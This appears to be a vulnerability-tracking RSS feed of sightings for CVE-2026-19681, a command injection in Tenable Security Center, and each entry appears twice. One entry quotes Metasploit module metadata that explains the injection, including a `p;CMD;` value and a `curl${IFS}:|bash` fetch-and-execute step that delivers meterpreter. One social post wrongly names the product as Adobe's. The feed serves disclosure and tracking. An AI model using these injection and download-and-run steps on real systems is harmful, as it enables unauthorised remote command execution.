https://vulnerability.circl.lu Contains only the most 10 recent sightings. http://www.rssboard.org/rss-specification python-feedgen en Wed, 16 Sep 2026 15:34:31 +0000 https://vulnerability.circl.lu/sighting/1d06e7ed-2c80-402b-bbd8-b54e2eec3016/export {"uuid": "1d06e7ed-2c80-402b-bbd8-b54e2eec3016", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-19681", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/tenable_sc_auditfile_cmdinject_cve_2026_19681.rb", "content": "{\"aliases\": [], \"arch\": \"cmd\", \"author\": [\"h00die\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"Tenable Security Center prior to 6.9.0 allows an authenticated user to\\n achieve command execution as the web service account (tns) via the SCAP\\n audit file upload flow.\\n\\n Filesystem::saveTmp() builds staged upload filenames from the raw\\n client-supplied `context` form parameter (tempnam prefix), which is not\\n charset-validated. Referencing that staged file in a\\n POST /rest/auditFile (type=scapLinux, version=1.2) request reaches\\n AuditFileLib::addSCAPTailoringFile(), where the zip repack command\\n interpolates the derived path unescaped:\\n\\n exec(\\\"{$CommandZIP} -9Tj $tmpZipFile $newTailoringFilenameEsc\\\");\\n\\n basename() strips '/' but not shell metacharacters, so a context like\\n `p;CMD;` executes CMD through /bin/sh.\\n\\n Constraints (measured on 6.7.2): the staged-name prefix survives only\\n ~50 characters of context and may not contain '/' (saveTmp() applies\\n basename()). This module therefore serves the payload over HTTP and\\n injects only `curl${IFS}:|bash` (a bare host:port\\n GETs / and bash reads the served script from stdin). The served script\\n itself has no such limits, which the Linux Dropper target exploits\\n with a fetch payload (cmd/linux/http/...) that downloads and execs a\\n full native payload (e.g. x64 meterpreter) from the payload adapter's\\n own listener on FETCH_SRVPORT.\\n\\n Tested against SecurityCenter 6.7.2-14 on RHEL9.\", \"disclosure_date\": \"2026-08-13\", \"fullname\": \"exploit/linux/http/tenable_sc_auditfile_cmdinject_cve_2026_19681\", \"is_install_path\": true, \"mod_time\": \"2026-08-24 14:35:43 +0000\", \"name\": \"Tenable Security Center SCAP Audit File Command Injection\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"artifacts-on-disk\", \"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/linux/http/tenable_sc_auditfile_cmdinject_cve_2026_19681.rb\", \"platform\": \"Linux,Unix\", \"post_auth\": true, \"rank\": 600, \"ref_name\": \"linux/http/tenable_sc_auditfile_cmdinject_cve_2026_19681\", \"references\": [\"CVE-2026-19681\", \"URL-https://www.tenable.com/security/tns-2026-22\"], \"rport\": 443, \"session_types\": false, \"targets\": [\"Unix Command\", \"Linux Dropper\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:48:57.808639Z"} {"uuid": "1d06e7ed-2c80-402b-bbd8-b54e2eec3016", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-19681", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/tenable_sc_auditfile_cmdinject_cve_2026_19681.rb", "content": "{\"aliases\": [], \"arch\": \"cmd\", \"author\": [\"h00die\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"Tenable Security Center prior to 6.9.0 allows an authenticated user to\\n achieve command execution as the web service account (tns) via the SCAP\\n audit file upload flow.\\n\\n Filesystem::saveTmp() builds staged upload filenames from the raw\\n client-supplied `context` form parameter (tempnam prefix), which is not\\n charset-validated. Referencing that staged file in a\\n POST /rest/auditFile (type=scapLinux, version=1.2) request reaches\\n AuditFileLib::addSCAPTailoringFile(), where the zip repack command\\n interpolates the derived path unescaped:\\n\\n exec(\\\"{$CommandZIP} -9Tj $tmpZipFile $newTailoringFilenameEsc\\\");\\n\\n basename() strips '/' but not shell metacharacters, so a context like\\n `p;CMD;` executes CMD through /bin/sh.\\n\\n Constraints (measured on 6.7.2): the staged-name prefix survives only\\n ~50 characters of context and may not contain '/' (saveTmp() applies\\n basename()). This module therefore serves the payload over HTTP and\\n injects only `curl${IFS}:|bash` (a bare host:port\\n GETs / and bash reads the served script from stdin). The served script\\n itself has no such limits, which the Linux Dropper target exploits\\n with a fetch payload (cmd/linux/http/...) that downloads and execs a\\n full native payload (e.g. x64 meterpreter) from the payload adapter's\\n own listener on FETCH_SRVPORT.\\n\\n Tested against SecurityCenter 6.7.2-14 on RHEL9.\", \"disclosure_date\": \"2026-08-13\", \"fullname\": \"exploit/linux/http/tenable_sc_auditfile_cmdinject_cve_2026_19681\", \"is_install_path\": true, \"mod_time\": \"2026-08-24 14:35:43 +0000\", \"name\": \"Tenable Security Center SCAP Audit File Command Injection\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"artifacts-on-disk\", \"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/linux/http/tenable_sc_auditfile_cmdinject_cve_2026_19681.rb\", \"platform\": \"Linux,Unix\", \"post_auth\": true, \"rank\": 600, \"ref_name\": \"linux/http/tenable_sc_auditfile_cmdinject_cve_2026_19681\", \"references\": [\"CVE-2026-19681\", \"URL-https://www.tenable.com/security/tns-2026-22\"], \"rport\": 443, \"session_types\": false, \"targets\": [\"Unix Command\", \"Linux Dropper\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:48:57.808639Z"} https://vulnerability.circl.lu/sighting/1d06e7ed-2c80-402b-bbd8-b54e2eec3016/export Tue, 08 Sep 2026 06:48:57 +0000 https://vulnerability.circl.lu/sighting/5585aa18-5759-41cd-b1eb-44789290d959/export {"uuid": "5585aa18-5759-41cd-b1eb-44789290d959", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-19681", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mticxxpnfw2y", "content": "\ud83d\udccc CVE-2026-19681 - An authenticated command injection vulnerability exists in Security Center related to file upload processing. An attacker could exploit this issue by ... https://www.cyberhub.blog/cves/CVE-2026-19681", "creation_timestamp": "2026-08-20T03:37:06.443381Z"} {"uuid": "5585aa18-5759-41cd-b1eb-44789290d959", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-19681", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mticxxpnfw2y", "content": "\ud83d\udccc CVE-2026-19681 - An authenticated command injection vulnerability exists in Security Center related to file upload processing. An attacker could exploit this issue by ... https://www.cyberhub.blog/cves/CVE-2026-19681", "creation_timestamp": "2026-08-20T03:37:06.443381Z"} https://vulnerability.circl.lu/sighting/5585aa18-5759-41cd-b1eb-44789290d959/export Thu, 20 Aug 2026 03:37:06 +0000 https://vulnerability.circl.lu/sighting/b510cddf-05d5-4116-8b95-92231bf35590/export {"uuid": "b510cddf-05d5-4116-8b95-92231bf35590", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-19681", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mt2tqtsflm25", "content": "CVE-2026-19681 - security center\nAdobe Security Center has a vulnerability that allows attackers to execute arbitrary commands on the system if a malicious file is uploaded. This could potentially\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#securitycenter #tenable #CVE #infosec", "creation_timestamp": "2026-08-14T19:00:04.661935Z"} {"uuid": "b510cddf-05d5-4116-8b95-92231bf35590", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-19681", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mt2tqtsflm25", "content": "CVE-2026-19681 - security center\nAdobe Security Center has a vulnerability that allows attackers to execute arbitrary commands on the system if a malicious file is uploaded. This could potentially\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#securitycenter #tenable #CVE #infosec", "creation_timestamp": "2026-08-14T19:00:04.661935Z"} https://vulnerability.circl.lu/sighting/b510cddf-05d5-4116-8b95-92231bf35590/export Fri, 14 Aug 2026 19:00:04 +0000